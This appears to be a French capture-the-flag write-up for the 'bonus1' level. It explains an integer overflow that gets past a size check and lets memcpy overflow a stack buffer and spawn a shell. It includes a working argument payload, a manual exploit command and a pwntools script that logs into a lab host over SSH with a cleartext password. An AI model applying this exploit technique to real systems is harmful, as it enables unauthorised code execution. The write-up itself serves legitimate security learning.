11. Bonus 1

La reconstruction du code source est très basique cette fois :

```c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int     main(int argc, char **argv)
{
    char    buff[40];               // [esp+0x14]

    int n = atoi(argv[1]);          // [esp+0x3c]
    if (n > 9)
        return (1);
    memcpy(buff, argv[2], n * 4);
    if (n == 0x574f4c46)
        execl("/bin/sh", "sh", 0);
    return (0);
}
```

Dans ce programme, l'objectif est assez clair. Il faut que **buff** overflow sur l'entier **n** qui se trouve juste après en mémoire, afin de lui faire adopter la valeur `0x574f4c46`.

L'appel à **memcpy** devrait être le moyen pour nous de faire en sortes que cela arrive, d'autant plus qu'on maîtrise ce qui est copié dans **buff** (argv[2]). Pour résumer, l'objectif est de faire en sortes que le memcpy copie **44 bytes** dans **buff** (overflow de 4 qui écrase en mémoire l'entier **n** qu se trouve juste après buff), et que argv[2] se compose de 40 random bytes, puis de 0x574f4c46.

Le problème va être de copier ces 44 bytes. En effet, la taille du memcpy est de **n * 4**, or le programme empêche **n** d'être supérieur à **9** (donc n * 4 peut être au maximum 36). Comment contourner cette protection ?

La vulnérabilité réside ici dans le fait que **n est un entier**, qui est cependant utilisé comme variable de memcpy **en tant que size_t** (donc **unsigned int**).

Imaginons qu'on fournisse en argv[1] un nombre négatif, par exemple -2. Cela sera encodé comme 0xfffffffe en mémoire, ce qui signifie bien -1 lorsque le programme le considère comme un entier signé, mais 4294967294 lorsqu'il tente de l'interpréter comme un unsigned int. C'est donc cet énorme nombre (multiplié par 4) qui sera transmis à **memcpy**, ce qui fera crash le programme.

Il nous faut donc un moyen maintenant pour que **n * 4** soit précisément égal à **44** en fournissant au programme un chiffre négatif afin de contourner la protection du "inférieur à 9".

On a créé un petit programme, **values.c**, qui traduit un entier signé dans sa représentation hexadécimale, signed int, et unsigned int (en le multipliant par 4) :

```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int     main(int argc, char **argv)
```

```
{
    int n = atoi(argv[1]);
    printf("As hex            -->    0x%08x\n", n*4, n*4);
    printf("As signed int        -->    %d\n", n*4, n*4);
    printf("As unsigned int        -->    %zu\n", n*4,n*4);
    return (0);
}
```

On essaie avec différentes valeurs, jusqu'à trouver celle qui aboutit à la valeur que l'on souhaite :

```
→ bonus1 ./values -1
As hex                  -->     0xfffffffc
As signed int           -->     -4
As unsigned int         -->     4294967292
→ bonus1 ./values -2147483648
As hex                  -->     0x00000000
As signed int           -->     0
As unsigned int         -->     0
→ bonus1 ./values -2147483647
As hex                  -->     0x00000004
As signed int           -->     4
As unsigned int         -->     4
→ bonus1 ./values -2147483640
As hex                  -->     0x00000020
As signed int           -->     32
As unsigned int         -->     32
→ bonus1 ./values -2147483637
As hex                  -->     0x0000002c
As signed int           -->     44
As unsigned int         -->     44
```

NOTE : on s'aperçoit qu'en réalité, la différence de traitement entre signed int / unsigned int n'était même pas nécessaire ici. C'est-à-dire que même si **memcpy prenait un entier signé**, la vulnérabilité aurait été la même car en multipliant cet entier par 4, on provoque un overflow qui nous fait retourner dans les positifs.

Bref, argv[1] doit être -2147483637 pour que memcpy copie 44 bytes. Il ne nous reste plus qu'à définir argv[2] comme `'A' * 40 + '\x46\x4c\x4f\x57'`.

>> Exploitation manuelle

```
$ ./bonus1 '-2147483637' $(python -c "print('A' * 40 + '\x46\x4c\x4f\x57')")
```

>> Exploit automatique

```
from pwn import *

argv_1 = b'-2147483637'

argv_2 = b'A' * 40
argv_2 += b'\x46\x4c\x4f\x57'
```

```
s = ssh(host='192.168.1.45', port=4242, user="bonus1",
password="cd1f77a585965341c37a1774a1d1686326e1fc53aaa5459c840409d4d06523c9")
p = s.process(["/home/user/bonus1/./bonus1", argv_1, argv_2])

p.interactive()
```

Got flag.